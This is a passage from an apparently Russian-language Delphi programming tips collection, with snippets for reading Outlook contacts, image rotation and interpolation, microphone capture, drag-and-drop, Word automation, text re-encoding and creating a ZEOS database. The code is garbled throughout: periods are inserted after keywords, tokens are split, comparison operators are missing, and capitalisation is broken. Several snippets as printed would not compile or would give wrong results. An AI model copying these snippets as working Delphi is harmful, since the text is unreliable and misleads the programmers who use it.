'MailingAddressStreet: ' + MyItem.MailingAddressStreet + #13; S := s + 'ManagerName: ' + MyItem.ManagerName + #13; S := s + 'MiddleName: ' + MyItem.MiddleName + #13; S := s + 'MobileTelephoneNumber: ' + MyItem.MobileTelephoneNumber + #13; S := s + 'NickName: ' + MyItem.NickName + #13; S := s + 'OfficeLocation: ' + MyItem.OfficeLocation + #13; S := s + 'OrganizationalIDNumber: ' + MyItem.OrganizationalIDNumber + #13; S := s + 'OtherAddress: ' + MyItem.OtherAddress + #13; S := s + 'OtherAddressCity: ' + MyItem.OtherAddressCity + #13; S := s + 'OtherAddressCountry: ' + MyItem.OtherAddressCountry + #13; S := s + 'OtherAddressPostalCode: ' + MyItem.OtherAddressPostalCode + #13; S := s + 'OtherAddressPostOfficeBox: ' + MyItem.OtherAddressPostOfficeBox + #13; S := s + 'OtherAddressState: ' + MyItem.OtherAddressState + #13; S := s + 'OtherAddressStreet: ' + MyItem.OtherAddressStreet + #13; S := s + 'OtherFaxNumber: ' + MyItem.OtherFaxNumber + #13; S := s + 'OtherTelephoneNumber: ' + MyItem.OtherTelephoneNumber + #13; S := s + 'PagerNumber: ' + MyItem.PagerNumber + #13; S := s + 'PersonalHomePage: ' + MyItem.PersonalHomePage + #13; S := s + 'PrimaryTelephoneNumber: ' + MyItem.PrimaryTelephoneNumber + #13; S := s + 'Profession: ' + MyItem.Profession + #13; S := s + 'RadioTelephoneNumber: ' + MyItem.RadioTelephoneNumber + #13; S := s + 'ReferredBy: ' + MyItem.ReferredBy + #13; S := s + 'SelectedMailingAddress: ' + In s := s + 'Spouse: ' + MyItem.Spouse + #13; s := s + 'Suffix: ' + MyItem.Suffix + #13; S := s + 'TelexNumber: ' + MyItem.TelexNumber + #13; s := s + 'Title: ' + MyItem.Title + #13; S := s + 'TTYTDDTelephoneNumber: ' + MyItem.TTYTDDTelephoneNumber + #13; S := s + 'User1: ' + MyItem.User1 + #13; s := s + 'User2: ' + MyItem.User2 + #13; S := s + 'User3: ' + MyItem.User3 + #13; s := s + 'User4: ' + MyItem.User4 + #13; S := s + 'UserCertificate: ' + MyItem.UserCertificate + #13; S := s + 'WebPage: ' + MyItem.WebPage + #13; End; Memo1.Lines.Text := s; except on. E: Exception do MessageDlg(E.Message + #13 + s, mtError, [mbOk], 0). End; MSOutlook.Quit; End;

BMP ---> JPG.

Code: Uses. Jpeg, ClipBrd; Procedure TfrmMain.ConvertBMP2JPEG; // converts a bitmap, the graphic of a TChart for example, to a jpeg. Var. JpgImg: TJPEGImage; Begin. // copy bitmap to clipboard. ChrtOutputSingle.CopyToClipboardBitmap; // get clipboard and load it to Image1. Image1.Picture.Bitmap.LoadFromClipboardFormat(cf_BitMap, ClipBoard.GetAsHandle(cf_Bitmap), 0); // create the jpeg-graphic. JpgImg := TJPEGImage.Create; // assign the bitmap to the jpeg, this converts the bitmap. JpgImg.Assign(Image1.Picture.Bitmap); // and save it to file. JpgImg.SaveToFile('TChartExample.jpg'); End;

©Drkb::04269.

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php.

Алгоритм поворота изображения.

Вот алгоритм поворота изображения. Пусть O - это центр поворота, а M - некая точка исходного изображения.

Для каждой точки M нужно найти угол alpha между отрезком OM и горизонталью и длину r отрезка OM.

Теперь, чтобы повернуть изображение на угол beta, нужно каждой точке M.

Присвоить цвет точки исходного изображения с координатами x,y, где.

X = xo + r * cos(alpha + beta).

Y = yo + r * sin(alpha + beta).

(xo,yo - центр поворота, r - длина отрезка OM).

Важно именно каждой точке нового изображения сопоставлять точку старого изображения,

А не наоборот, так как иначе некоторые точки нового изображения останутся не закрашенными.

Эту программу можно сильно ускорить, если исходное изображение записать в массив и.

Обращаться к реальной переменной, а не к свойству Canvas.Pixels.

Code: Uses Math; Procedure TForm1.Button1Click(Sender: TObject); Var. Bm, bm1: TBitMap; X, y: integer; R, a: single; Xo, yo: integer; S, c: extended; Begin. Bm := TBitMap.Create; Bm.LoadFromFile('ex.bmp'); Xo := bm.Width div 2; Yo := bm.Height div 2; Bm1 := TBitMap.Create; Bm1.Width := bm.Width; Bm1.Height := bm.Height; A := 0; Repeat. For y := 0 to bm.Height - 1 do begin. For x := 0 to bm.Width - 1 do begin. R := sqrt(sqr(x - xo) + sqr(y - yo)); SinCos(a + arctan2((y - yo), (x - xo)), s, c); Bm1.Canvas.Pixels[x,y] := bm.Canvas.Pixels[ Round(xo + r * c), round(yo + r * s)]; End; Application.ProcessMessages; End; Form1.Canvas.Draw(xo, yo, bm1); A := a + 0.05; Application.ProcessMessages; Until Form1.Tag <> 0; Bm.Destroy; Bm1.Destroy; End; Procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); Begin. Form1.Tag := 1; End;

Как выяснить дату последнего изменения файла?

Code: Function GetFileDate(FileName: string): string; Var FHandle: Integer; Begin. FHandle := FileOpen(FileName, 0); Try. Result := DateTimeToStr(FileDateToDateTime(FileGetDate(FHandle))); Finally. FileClose(FHandle); End; End;

Как узнать IP адрес?

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\ (для 98-винды).

Ищем параметр IPAddress.

Программно можно определить следующим образом:

Code: Var. WSAData: TWSAData; P: PHostEnt; Name: array[0..$FF] of Char; Begin. WSAStartup($0101, WSAData); GetHostName(name, $FF); P := GetHostByName(Name); Showmessage(inet_ntoa(PInAddr(p.h_addr_list^)^)); WSACleanup; End;

Создание автоинкрементного поля SQL запросом?

Code: { Lets say that we wish to create a fallawing number (Autoincrese) of an item, Without using the AutoIncrese filed. This is usfull when for example there is more users from the same IP that log. In or any other things that you wish. This example will show you how to do it with some checking of filled data, But it can be done anyway you wish. You need a Table with at least 2 fileds with number casting, and a TQUERY component. } Function TForm1.GetNextNumber : integer; Begin. QryMain.Active := False; QryMain.SQL.Clear; QryMain.SQL.Add('Select Max(FieldToIncrease) from tblMain where (Cheking >=1);'); QryMain.Active := True; //We executed the query. If qryMain.RecordCount >= 0 then. Result := qryMain.FieldByName('FieldToIncrese').AsInteger +1; Else result := 1; End; ... Procedure TForm1.SetNextNumber; Begin. //You must first see if the table is in insert/update mode before using this procedure. TblMain.FieldByName('FieldToIncrese').AsInteger := GetNextNumber; End;

Как скопировать директорию?

Использовать ShFileOperation.

Code: Procedure TForm1.Button2Click(Sender: TObject); Var OpStruc: TSHFileOpStruct; Frombuf, tobuf: Array [0..128] of Char; Begin FillChar( frombuf, Sizeof(frombuf), 0 ); FillChar( tobuf, Sizeof(tobuf), 0 ); StrPCopy( frombuf, 'd:\brief\*.*' ); StrPCopy( tobuf, 'd:\temp\brief' ); With OpStruc do begin. Wnd := Handle; WFunc := FO_COPY; PFrom := @frombuf; PTo := @tobuf; FFlags := FOF_NOCONFIRMATION or FOF_RENAMEONCOLLISION; FAnyOperationsAborted := False; HNameMappings := Nil; LpszProgressTitle := Nil; End; ShFileOperation( OpStruc ); End;

Как считать сигнал с микрофона?

В Windows нет разделения каналов записи по источникам.

CD-ROM ----------|

| |--- Динамики.

Микрофон --------| |

|-- Windows --|--- Записывающие программы.

Линейный вход ---| |

| |--- Линейный выход.

MIDI ------------|

Все поступающие в систему звуки смешиваются, и лишь после этого их получает программа.

Для получения звукового сигнала нужно воспользоваться WinAPI.

WaveInOpen открывает доступ к микрофону.

Одновременно только одна программа может работать с микрофоном.

Заодно Вы указываете, какая нужна частота, сколько бит на значение и размер буфера.

От последнего зависит, как часто и в каком объеме информация будет поступать в программу.

Далее нужно выделить память для буфера и вызвать функцию WaveInAddBuffer,

Которая передаст Windows пустой буфер.

После вызова WaveInStart Windows начнет заполнять буфер,

И, после его заполнения, пошлет сообщение MM_WIM_DATA.

В нем нужно обработать полученную информацию и вновь вызвать WaveInAddBuffer,

Тем самым указав, что буфер пуст.

Функции WaveInReset и WaveInClose прекратят поступление информации в программу и закроют доступ к микрофону.

Эта программа считывает сигнал с микрофона и выводит его на экран.

Частота сигнала - 22050 Гц. Количество бит определяется флажком, размер буфера TrackBar-ом.

Code: Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls, MMSystem; Type. TData8 = array [0..127] of byte; PData8 = ^TData8; TData16 = array [0..127] of smallint; PData16 = ^TData16; TPointArr = array [0..127] of TPoint; PPointArr = ^TPointArr; TForm1 = class(TForm). Button1: TButton; Button2: TButton; PaintBox1: TPaintBox; TrackBar1: TTrackBar; CheckBox1: TCheckBox; Procedure Button1Click(Sender: TObject); Procedure Button2Click(Sender: TObject); Procedure FormDestroy(Sender: TObject); Procedure CheckBox1Click(Sender: TObject); Procedure FormCreate(Sender: TObject); Private. { Private declarations }. Public. Procedure OnWaveIn(var Msg: TMessage); message MM_WIM_DATA; End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Var. WaveIn: hWaveIn; HBuf: THandle; BufHead: TWaveHdr; Bufsize: integer; Bits16: boolean; P: PPointArr; Stop: boolean = false; Procedure TForm1.Button1Click(Sender: TObject); Var. Header: TWaveFormatEx; BufLen: word; Buf: pointer; Begin. BufSize := TrackBar1.Position * 500 + 100; { Размер буфера }. Bits16 := CheckBox1.Checked; With header do begin. WFormatTag := WAVE_FORMAT_PCM; NChannels := 1; { количество каналов }. NSamplesPerSec := 22050; { частота }. WBitsPerSample := integer(Bits16) * 8 + 8; { 8 / 16 бит }. NBlockAlign := nChannels * (wBitsPerSample div 8); NAvgBytesPerSec := nSamplesPerSec * nBlockAlign; CbSize := 0; End; WaveInOpen(Addr(WaveIn), WAVE_MAPPER, addr(header), Form1.Handle, 0, CALLBACK_WINDOW); BufLen := header.nBlockAlign * BufSize; HBuf := GlobalAlloc(GMEM_MOVEABLE and GMEM_SHARE, BufLen); Buf := GlobalLock(hBuf); With BufHead do begin. LpData := Buf; DwBufferLength := BufLen; DwFlags := WHDR_BEGINLOOP; End; WaveInPrepareHeader(WaveIn, Addr(BufHead), sizeof(BufHead)); WaveInAddBuffer(WaveIn, addr(BufHead), sizeof(BufHead)); GetMem(p, BufSize * sizeof(TPoint)); Stop := true; WaveInStart(WaveIn); End; Procedure TForm1.Button2Click(Sender: TObject); Begin. If stop = false then Exit; Stop := false; While not stop do Application.ProcessMessages; Stop := false; WaveInReset(WaveIn); WaveInUnPrepareHeader(WaveIn, addr(BufHead), sizeof(BufHead)); WaveInClose(WaveIn); GlobalUnlock(hBuf); GlobalFree(hBuf); FreeMem(p, BufSize * sizeof(TPoint)); End; Procedure TForm1.OnWaveIn; Var. I: integer; Data8: PData8; Data16: PData16; H: integer; XScale, YScale: single; Begin. H := PaintBox1.Height; XScale := PaintBox1.Width / BufSize; If Bits16 then begin. Data16 := PData16(PWaveHdr(Msg.lParam)^.lpData); YScale := h / (1 shl 16); For i := 0 to BufSize - 1 do. P^[i] := Point(round(i * XScale), Round(h / 2 - data16^[i] * YScale)); End else begin. Data8 := PData8(PWaveHdr(Msg.lParam)^.lpData); YScale := h / (1 shl 8); For i := 0 to BufSize - 1 do. P^[i] := Point(round(i * XScale), Round(h - data8^[i] * YScale)); End; With PaintBox1.Canvas do begin. Brush.Color := clWhite; FillRect(ClipRect); Polyline(Slice(p^, BufSize)); End; If stop. Then WaveInAddBuffer(WaveIn, PWaveHdr(Msg.lParam), SizeOf(TWaveHdr)). Else stop := true; End; Procedure TForm1.FormDestroy(Sender: TObject); Begin. Button2.Click; End; Procedure TForm1.CheckBox1Click(Sender: TObject); Begin. If stop then begin. Button2.Click; Button1.Click; End; End; Procedure TForm1.FormCreate(Sender: TObject); Begin. TrackBar1.OnChange := CheckBox1Click; Button1.Caption := 'Start'; Button2.Caption := 'Stop'; CheckBox1.Caption := '16 / 8 bit'; End; End.

Как в консольном приложении можно задать цвет текста?

Цвет Текста задается командой SetTextColor(Color), параметр Color - целое число от 0 до 15.

Вывод текста в указанном месте экрана задается командой GotoXY(X,Y,Text).

X,Y-координаты экрана.

Text - переменная типа String.

Ответ 3:

Вот текст модуля, напоминающего про наш любимый ДОС (CRT-like):

Code: Unit UffCRT; // written by Michael Uskoff, Apr 2001, St.Petersburg, RUSSIA. Interface. Procedure ClrScr; Procedure SetAttr(attr: word); Function GetAttr: word; Procedure GotoXY(aX, aY: integer); // zero-based coords. Function WhereX: integer; Function WhereY: integer; Implementation. Uses Windows; Var. UpperLeft: TCoord = (X: 0; Y: 0); HCon: integer; Procedure GotoXY(aX, aY: integer); Var aCoord: TCoord; Begin. ACoord.x := aX; ACoord.y := aY; SetConsoleCursorPosition(hCon, aCoord); End; Procedure SetAttr(attr: word); Begin. SetConsoleTextAttribute(hCon, attr); End; Function WhereX: integer; Var ScrBufInfo: TConsoleScreenBufferInfo; Begin. GetConsoleScreenBufferInfo(hCon, ScrBufInfo); Result := ScrBufInfo.dwCursorPosition.x; End; Function WhereY: integer; Var ScrBufInfo: TConsoleScreenBufferInfo; Begin. GetConsoleScreenBufferInfo(hCon, ScrBufInfo); Result := ScrBufInfo.dwCursorPosition.y; End; Function GetAttr: word; Var ScrBufInfo: TConsoleScreenBufferInfo; Begin. GetConsoleScreenBufferInfo(hCon, ScrBufInfo); Result := ScrBufInfo.wAttributes; End; Procedure ClrScr; Var fill: integer; ScrBufInfo: TConsoleScreenBufferInfo; Begin. GetConsoleScreenBufferInfo(hCon, ScrBufInfo); Fill := ScrBufInfo.dwSize.x * ScrBufInfo.dwSize.y; FillConsoleOutputCharacter(hCon, ' ', fill, UpperLeft, fill); FillConsoleOutputAttribute(hCon, ScrBufInfo.wAttributes, fill, UpperLeft, fill); GotoXY(0, 0); End; Initialization. HCon := GetStdHandle(STD_OUTPUT_HANDLE); End. Теперь можно творить такое: Uses UffCRT; .... ClrScr; SetAttr($1E); GotoXY(32, 12); Write('Hello, master !'); ReadLn; ...

Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.).

Перехват нажатия на системные кнопки формы (закрытие , минимизация окна и т.д.).

Сообщение WM_SYSCOMMAND приходит перед выполнением соответствующей команды,

Что дает возможность переопределить код.

Описание :

WM_SYSCOMMAND.

UCmdType = wParam; // type of system command requested.

XPos = LOWORD(lParam); // horizontal postion, in screen coordinates.

YPos = HIWORD(lParam); // vertical postion, in screen coordinates.

Например, перехват события минимизации окна приложения:

Code: Type TMain = class(TForm). .... Protected. Procedure WMGetSysCommand(var Message : TMessage); message WM_SYSCOMMAND; End; ..... //---------------------------------------------------------------- // Обработка сообщения WM_SYSCOMMAND (перехват минимизации окна). //---------------------------------------------------------------- Procedure TMain.WMGetSysCommand(var Message : TMessage) ; Begin. IF (Message..wParam = SC_MINIMIZE). Then Main.Visible:=False. Else Inherited; End;

Печать Dos-файла в порт напрямую.

При печати Dos-файла в порт напрямую можно это сделать.

Например, напечатать за 2 прохода:

ESC @ - инициализация принтера.

ESC G - включение режима печати за 2 прохода.

ESC H - выключение режима печати за 2 прохода.

Code: Var FileOut : TextFile; Filename : String [128]; .... Filename:='PRN'; AssignFile(Fileout,Filename); ... Write(FileOut,Chr(27)+'@'); Str1:=AnToAs(chr(27)+'G'+'Double'+chr(27)+'H'); Writeln(FileOut,Str1); ... {преобразование Ansi to Ascii}. Function AnToAs(s: String) : String; Var i,kod : Integer; Begin. Result:=s; For i:=1 to length(s) do. Begin. Kod:=Ord(s[i]); If kod 13 then Result[i]:=' '; If ( kod>=192) and ( kod=239) then. Result[i]:=Chr(kod-64); If ( kod>=240) and ( kod=255) then. Result[i]:=Chr(kod-16); If kod=168 then Result[i]:=Chr(240); If kod=184 then Result[i]:=Chr(241); End; End;

©Drkb::01347.

Взято с сайта http://blackman.wp-club.net/

Как перетаскивать файлы?

Как принимать "перетаскиваемые" файлы.

При получении программой файлов, окну посылается сообщение WM_DROPFILES.

При помощи функции DragQueryFile можно определить количество и имена файлов.

При помощи функции DragQueryPoint можно определить координату мыши в тот момент,

Когда пользователь "отпустил" файлы.

Эта программа открывает все "перетащенные" в нее файлы.

Причем, если пользователь перетащил файлы в PageControl1, то в PageControl1 эти файлы и откроются.

Code: ... Public. Procedure WMDropFiles(var Msg: TWMDropFiles); Message WM_DROPFILES; End; Var. Form1: TForm1; Implementation. {$R *.DFM}. Uses ShellAPI, stdctrls; Procedure TForm1.WMDropFiles(var Msg: TWMDropFiles); Var. HF: THandle; S: array [0..1023] of char; I, FileCount: integer; P: TPoint; Ts: TTabSheet; Memo: TMemo; Begin. HF := Msg.Drop; FileCount := DragQueryFile(HF, $FFFFFFFF, nil, 0); For i := 0 to FileCount - 1 do begin. DragQueryFile(HF, i, s, sizeof(s)); Ts := TTabSheet.Create(nil); DragQueryPoint(HF, p); If PtInRect(PageControl1.BoundsRect, p). Then ts.PageControl := PageControl1. Else ts.PageControl := PageControl2; Ts.Caption := ExtractFileName(s); Memo := TMemo.Create(nil); Memo.Parent := ts; Memo.Align := alClient; Memo.Lines.LoadFromFile(s); End; DragFinish(HF); End; Procedure TForm1.FormCreate(Sender: TObject); Begin. PageControl1.Align := alLeft; PageControl2.Align := alClient; DragAcceptFiles(Form1.Handle, true); End; Procedure TForm1.FormDestroy(Sender: TObject); Begin. DragAcceptFiles(Form1.Handle, false); End;

Работа с Word через OLE.

Code: Unit Unit1; Interface. Uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, Buttons,ComCtrls, ExtCtrls, OleCtnrs; Type TForm1 = class(TForm). OleContainer1: TOleContainer; Panel1: TPanel; StatusBar1: TStatusBar; MbLoad: TSpeedButton; MbPrint: TSpeedButton; OpenDialog1: TOpenDialog; Procedure mbLoadClick(Sender: TObject); Procedure mbPrintClick(Sender: TObject); Private. { Private declarations }. Public. { Public declarations }. End; Var Form1: TForm1; i. Mplementation{$R *.DFM}. Procedure TForm1.mbLoadClick(Sender: TObject); Begin. // Покажем диалог, и если он отработал, то загрузим в контейнер. If OpenDialog1.Execute and (OpenDialog1.FileName <> '') then. OleContainer1.CreateObjectFromFile(OpenDialog1.FileName, false); / Если загрузилось что - нибудь, то покажем. If OleContainer1.State <> osEmpty then OleContainer1.DoVerb(ovShow); End; Procedure TForm1.mbPrintClick(Sender: TObject); Var V: Variant; Begin. If OleContainer1.State = osEmpty then. Begin. MessageDlg('OLE не загружен !!', mtError, [mbOk], 0); Exit; End; // Получаем объект, который воплощает в себе WordBasic интерфейс. V := OleContainer1.OleObject.Application.WordBasic; // Командуем до одурения .... V.FilePrint; end; end.

Как перехватывать события, посланные другим приложениям?

Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook).

Например, такая ловушка может отслеживать все события,

Связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.

Для ловушки нужна функция, которая, после установки ловушки.

При помощи SetWindowsHookEx, будет вызываться при каждом нужном событии.

Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.

Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой.

CheckBox1 показывает состояние левой клавиши мыши,

CheckBox2 показывает состояние правой клавиши мыши,

А CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.

Code: Var. HookHandle: hHook; Function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall; Var. Msg: PEVENTMSG; Begin. If Code >= 0 then begin. Result := 0; Msg := Pointer(LParam); With Form1 do. Case msg.message of. WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH); WM_LBUTTONDOWN: CheckBox1.Checked := true; WM_LBUTTONUP: CheckBox1.Checked := false; WM_RBUTTONDOWN: CheckBox2.Checked := true; WM_RBUTTONUP: CheckBox2.Checked := false; WM_KEYUP: CheckBox3.Checked := false; WM_KEYDOWN: CheckBox3.Checked := true; End; End else. Result := CallNextHookEx(HookHandle, code, WParam, LParam); End; Procedure TForm1.FormCreate(Sender: TObject); Begin. Form1.FormStyle := fsStayOnTop; CheckBox1.Enabled := false; CheckBox1.Caption := 'left button'; CheckBox2.Enabled := false; CheckBox2.Caption := 'right button'; CheckBox3.Enabled := false; CheckBox3.Caption := 'keyboard'; HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0); End; Procedure TForm1.FormDestroy(Sender: TObject); Begin. If HookHandle <> 0 then. UnhookWindowsHookEx(HookHandle); End;

Перекодирование.

Этот алгоритм позволяет перекодировать текст.

Реализованы кодировки Windows-1251, KOI8-R, ISO-8859-5 и DOS.

Кодировка – это таблица, в которой указано,

Например, что символ под номером 160 - это русская буква "а", а под номером 150 – "Ц" и т. д.

Кодировки различаются номерами русских букв.

(как располагать английские буквы договорились).

Разные компьютеры в Интернете используют разные кодировки.

И поэтому, когда русский текст идет по Интернету, его многократно перекодируют.

Этот алгоритм обеспечивает высокую скорость перекодирования больших объемов данных.

Code: Procedure TForm1.Button1Click(Sender: TObject); Var. Code1, code2: TCode; S: string; C: char; I: integer; Chars: array [char] of char; Str: array [TCode] of string; Begin. Case ComboBox1.ItemIndex of. 1: code1 := koi; 2: code1 := iso; 3: code1 := dos; Else code1 := win; End; Case ComboBox2.ItemIndex of. 1: code2 := koi; 2: code2 := iso; 3: code2 := dos; Else code2 := win; End; S := Memo1.Text; Str[win] := 'АаБбВвГгДдЕеЖжЗзИиЙйКкЛлМмНнОоПпРрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯя'; Str[koi] := 'юЮаАбБцЦдДеЕфФгГхХиИйЙкКлЛмМнНоОпПяЯрРсСтТуУжЖвВьЬыЫзЗшШэЭщЩчЧъЪ'; Str[iso] := 'РрСсТтУуФфХхЦцЧчШшЩщЪъЫыЬьЭэЮюЯяа№бёвђгѓдєеѕжізїијйљкњлћмќн§оўпџ'; Str[dos] := 'Ђ ЃЎ‚ўѓЈ„¤…Ґ†¦‡§€Ё‰©ЉЄ‹"Њ¬Ќ­Ћ®ЏЇђа'б'в"г"д•е–ж—з и™йљк›лњмќнћоџп'; For c := #0 to #255 do. Chars[c] := c; For i := 1 to Length(Str[win]) do. Chars[Str[code2][i]] := Str[code1][i]; For i := 1 to Length(s) do. S[i] := Chars[s[i]]; Memo2.Text := s; End;

Создание базы данных в run-time с ZEOS?

Примечание от Vit: Zeos - популярный бесплатный пакет доступа к базам данных, подробности см. на sourceforge.net.

Code: { This unit creates a database on a Interbase-Server at run-time. The IBConsole is no longer needed. You can execute an SQL script to create tables. Try it out! } Unit Unit1; Interface. Uses. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ZTransact, ZIbSqlTr, DB, ZQuery, ZIbSqlQuery, ZConnect, ZIbSqlCon; Type. TForm1 = class(TForm). Button1: TButton; Memo1: TMemo; Button2: TButton; ZIbSqlQuery1: TZIbSqlQuery; ZIbSqlTransact1: TZIbSqlTransact; ZIbSqlDatabase1: TZIbSqlDatabase; Button3: TButton; Procedure Button1Click(Sender: TObject); // Caption/ Procedure Button2Click(Sender: TObject); // Caption/ Procedure Button3Click(Sender: TObject); // Caption/ Private. Public. End; Var. Form1: TForm1; Implementation. {$R *.dfm}. // Creating the database. Procedure TForm1.Button1Click(Sender: TObject); Begin. ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>';// Path to Database. ZIbSqlDatabase1.Host := 'testserver'; ZIbSqlDatabase1.Password := 'masterkey'; ZIbSqlDatabase1.Login := 'SYSDBA'; ZIbSqlDatabase1.CreateDatabase(''); End; // Execute the SQL-Script in the memo. Procedure TForm1.Button2Click(Sender: TObject); Begin. ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database. ZIbSqlDatabase1.Host := 'testserver'; ZIbSqlDatabase1.Password := 'masterkey'; ZIbSqlDatabase1.Login := 'SYSDBA'; ZIbSqlQuery1.SQL.Clear; ZIbSqlQuery1.SQL.AddStrings(memo1.Lines); ZIbSqlQuery1.ExecSQL; End; // Deleted the database. Procedure TForm1.Button3Click(Sender: TObject); Begin. ZIbSqlDatabase1.Database := '<<Pfad zu Datenbank>>'; // Path to Database. ZIbSqlDatabase1.Host := 'testserver'; ZIbSqlDatabase1.Password := 'masterkey'; ZIbSqlDatabase1.Login := 'SYSDBA'; ZIbSqlDatabase1.DropDatabase; End; End.

Изменение регистра букв.

В Delphi есть три функции для изменения регистра: upcase, lowercase, uppercase.

Но они работают только для латинского алфавита.

Чтобы сделать аналогичные функции для русского алфавита я.

Использовал то, что в кодировке Windows-1251 буквы расставлены по алфавиту,

Как большие, так и маленькие.

То есть номер большой буквы связан с номером маленькой константой.

И в русском, и в английском алфавитах маленькие буквы находятся.

За большими с разностью в 32 символа.

Здесь реализованы четыре функции: upcase и locase для.

Изменения регистра одного символа, и uppercase и lowercase для изменения регистра строки.

Code: Function UpCase(ch: char): char; Begin. If (ch in ['a'..'z', 'а'..'я']). Then result := chr(ord(ch) - 32). Else result := ch; End; Function LoCase(ch: char): char; Begin. If (ch in ['A'..'Z', 'А'..'Я']). Then result := chr(ord(ch) + 32). Else result := ch; End; Function UpperCase(s: string): string; Var. I: integer; Begin. Result := s; For i := 1 to length(result) do. If (result[i] in ['a'..'z', 'а'..'я']). Then result[i] := chr(ord(result[i]) - 32); End; Function LowerCase(s: string): string; Var. I: integer; Begin. Result := s; For i := 1 to length(result) do. If (result[i] in ['A'..'Z', 'А'..'Я']). Then result[i] := chr(ord(result[i]) + 32); End; Procedure TForm1.Button1Click(Sender: TObject); Const. S = 'zZцЦ.'; Var. I: integer; Begin. Form1.Caption := 'DownCase: '; For i := 1 to Length(s) do. Form1.Caption := Form1.Caption + LoCase(s[i]); Form1.Caption := Form1.Caption + ' UpCase: '; For i := 1 to Length(s) do. Form1.Caption := Form1.Caption + UpCase(s[i]); Form1.Caption := Form1.Caption + ' UpperCase: ' + UpperCase(s); Form1.Caption := Form1.Caption + ' LowerCase: ' + LowerCase(s); End;

Поиск пересечений графика с осью OX.

Для поиска пересечений графика заданной функции с осью абсцисс очень удобен метод хорд.

Он основан на линейной интерполяции. По двум точкам, лежащим по разные стороны от оси OX,

Строится прямая. Поскольку точка пересечения этой прямой с осью OX уже ближе к искомому x,

То при повторении этой операции точность резко увеличивается.

Если функция задана массивом точек, то можно произвести только одну операцию приближения.

Code: Function F(x: double): double; Begin. Result := sin(x); End; Procedure TForm1.Button1Click(Sender: TObject); Const. Left = -10; Right = 10; Var. X1, x2: double; Y1, y2: double; K, b: double; X, y: double; D1, d2: double; Begin. X1 := left; Y1 := f(x1); Repeat. X2 := x1 + 0.1; Y2 := f(x2); If y1 * y2 < 0 then begin. Repeat. Y1 := f(x1); Y2 := f(x2); K := (y1 - y2) / (x1 - x2); B := y1 - k * x1; X := -b / k; Y := k * x + b; D1 := sqr(x1 - x) + sqr(y1 - y); D2 := sqr(x2 - x) + sqr(y2 - y); If d1 > d2 then begin. D1 := d2; X1 := x; End else x2 := x; Until d1 < 1E-20; ListBox1.Items.Add(FloatToStr(x1)); End; X1 := x2; Y1 := y2; Until x2 > right; End;

Преобразование числа в двоичную запись.

Для преобразования числа в двоичную запись удобно использовать функции shl и and.

Эта функция преобразует число в строку из единиц и нулей. Количество цифр определяется параметром Digits.

Code: Function IntToBin(Value: integer; Digits: integer): string; Var. I: integer; Begin. Result := ''; For i := 0 to Digits - 1 do begin. If Value and (1 shl i) > 0. Then result := '1' + result. Else result := '0' + result; End; End; Вот пример использования этой функции: Procedure TForm1.Edit1Change(Sender: TObject); Begin. Form1.Caption := IntToBin(StrToIntDef(Edit1.Text, 0), 128); End;

©Drkb::04055.

Взято с сайта http://blackman.wp-club.net/

Как вставить свой курсор из внешнего файла?

Используя процедуру LoadCursorFromFile.

Code: Var. H: hcursor; Begin. H := LoadCursorFromFile('D:\mc.cur'); Screen.Cursors[1] := h; Form1.Cursor := 1; End;

Как качественно увеличить изображение при помощи билинейной интерполяции.

При увеличении изображения нужно находить цвет точек, находящимися между.

Точками исходного изображения. Функция CopyRect, встроенная в Delphi берет.

Для этого цвет ближайшей точки. Увеличенное изображение получается некрасивым.

Чтобы избежать этого, используют интерполяцию.

Существует несколько видов интерполяции изображения. Наиболее простой из них - билинейный.

Изображение рассматривается как поверхность, цвет - третье измерение.

Если изображение цветное, то интерполяция проводится отдельно для трех цветов.

Для каждой точки нового изображения с координатами (xo,yo).

Нужно найти четыре ближайшие точки исходного изображения.

Эти точки образуют квадрат. Через две верхние точки проводится прямая f1(x),

Через две нижние - f2(x). Дальше находятся координаты для точек f1(xo) и f2(xo),

Через которые проводится третья прямая f3(y). Цвет искомой точки - это f3(yo).

Этот алгоритм хорошо работает при целых или больших коэффициентах увеличения.

Но резкие границы размываются. Для уменьшения изображения этот алгоритм также не подходит.

Эта программа при нажатии на Button1 увеличивает часть изображения на экране,

А при нажатии на Button2 увеличивает открытое изображение.

Code: Procedure Interpolate(var bm: TBitMap; dx, dy: single); Var. Bm1: TBitMap; Z1, z2: single; K, k1, k2: single; X1, y1: integer; C: array [0..1, 0..1, 0..2] of byte; Res: array [0..2] of byte; X, y: integer; Xp, yp: integer; Xo, yo: integer; Col: integer; Pix: TColor; Begin. Bm1 := TBitMap.Create; Bm1.Width := round(bm.Width * dx); Bm1.Height := round(bm.Height * dy); For y := 0 to bm1.Height - 1 do begin. For x := 0 to bm1.Width - 1 do begin. Xo := trunc(x / dx); Yo := trunc(y / dy); X1 := round(xo * dx); Y1 := round(yo * dy); For yp := 0 to 1 do. For xp := 0 to 1 do begin. Pix := bm.Canvas.Pixels[xo + xp, yo + yp]; C[xp, yp, 0] := GetRValue(pix); C[xp, yp, 1] := GetGValue(pix); C[xp, yp, 2] := GetBValue(pix); End; For col := 0 to 2 do begin. K1 := (c[1,0,col] - c[0,0,col]) / dx; Z1 := x * k1 + c[0,0,col] - x1 * k1; K2 := (c[1,1,col] - c[0,1,col]) / dx; Z2 := x * k2 + c[0,1,col] - x1 * k2; K := (z2 - z1) / dy; 